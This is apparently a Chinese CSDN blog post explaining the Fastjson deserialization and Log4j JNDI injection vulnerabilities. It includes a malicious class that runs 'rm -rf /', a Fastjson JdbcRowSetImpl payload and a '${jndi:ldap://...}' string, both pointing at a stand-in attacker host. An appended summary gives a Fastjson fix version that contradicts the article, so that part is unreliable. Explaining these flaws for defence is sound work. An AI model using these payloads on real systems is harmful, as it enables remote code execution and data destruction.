fastJson反序列化漏洞和log4j漏洞

文章介绍了两种Java环境下的安全风险:一是通过fastJson的序列化漏洞,攻击者利用rmi服务端创建恶意class进行注入;二是Log4j2.x低于2.14.1版本时,JNDILDAP注入风险,攻击者通过ldap服务器引导加载远程恶意class。这两种攻击都可能导致静态代码块被执行,影响系统安全。
摘要由CSDN通过智能技术生成

有 attach.class (编译好的文件)

static{
	Runtime.getRuntime().exec("rm -rf /");
}
        

1.rmi注入

攻击者建立rmi服务端,于rmi服务端建造一系列攻击对象 ,假设远程地址为 http://abc,可url链接到恶意class-attach.class

若被攻击者访问到此服务 rmi://abc/attach.class ,静态代码块会优先加载,无需构造对象。

fastJson通过序列化漏洞 fastJson<=1.2.47 (高版本添加了序列化白名单和黑名单)

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://abc/attach.class",
        "autoCommit":true
    }
}

在调用JSON.parse()时,若序列化字符串里为上述字符串,则会自动将JdbcRowSetImpl 的 dataSourceName链接改为 rmi远程地址并访问。

2.LDAP注入

JDK < 8u191
高版本需要设置参数才可开启漏洞

        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

Log4j2.x<=2.14.1

JNDI(Java Naming and Directory Interface)是Java平台中的一种API,用于访问命名和目录服务

攻击者搭建 一个 ldap服务器(如marshalsec)假设远程地址为 http://abc,可url链接到恶意class-attach.class

str="${jndi:ldap://abc/attach.class}";
logger.error(str);//logger.info(str);

会根据表达式去寻找对应的目录

若被攻击者访问到此服务 jndi:ldap://abc/attach.class ,静态代码块会优先加载,无需构造对象。

若在attach.class使用dnslog即可完全控制web应用

http://www.dnslog.cn/
Fastjson是一款Java语言编写的高性能JSON处理器,被广泛应用于各种Java应用程序中。然而,Fastjson存在反序列化漏洞,黑客可以利用该漏洞实现远程代码执行,因此该漏洞被广泛利用。 检测Fastjson反序列化漏洞的方法: 1. 扫描源代码,搜索是否存在Fastjson相关的反序列化代码,如果存在,则需要仔细检查反序列化的过程是否安全。 2. 使用工具进行扫描:目前市面上有很多漏洞扫描工具已经支持Fastjson反序列化漏洞的检测,例如:AWVS、Nessus、Burp Suite等。 利用Fastjson反序列化漏洞的方法: 1. 利用Fastjson反序列化漏洞执行远程命令:黑客可以构造一个恶意JSON字符串,通过Fastjson反序列化漏洞实现远程命令执行。 2. 利用Fastjson反序列化漏洞实现文件读取:黑客可以构造一个恶意JSON字符串,通过Fastjson反序列化漏洞实现文件读取操作。 3. 利用Fastjson反序列化漏洞实现反弹Shell:黑客可以构造一个恶意JSON字符串,通过Fastjson反序列化漏洞实现反弹Shell操作。 防范Fastjson反序列化漏洞的方法: 1. 更新Fastjson版本:Fastjson官方在1.2.46版本中修复了反序列化漏洞,建议使用该版本或更高版本。 2. 禁止使用Fastjson反序列化:如果应用程序中不需要使用Fastjson反序列化功能,建议禁止使用该功能,可以使用其他JSON处理器。 3. 输入验证:对所有输入进行校验和过滤,确保输入数据符合预期,避免恶意数据进入系统。 4. 序列化过滤:对敏感数据进行序列化过滤,确保敏感数据不会被序列化。 5. 安全加固:对系统进行安全加固,如限制系统权限、加强访问控制等,避免黑客利用Fastjson反序列化漏洞获取系统权限。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值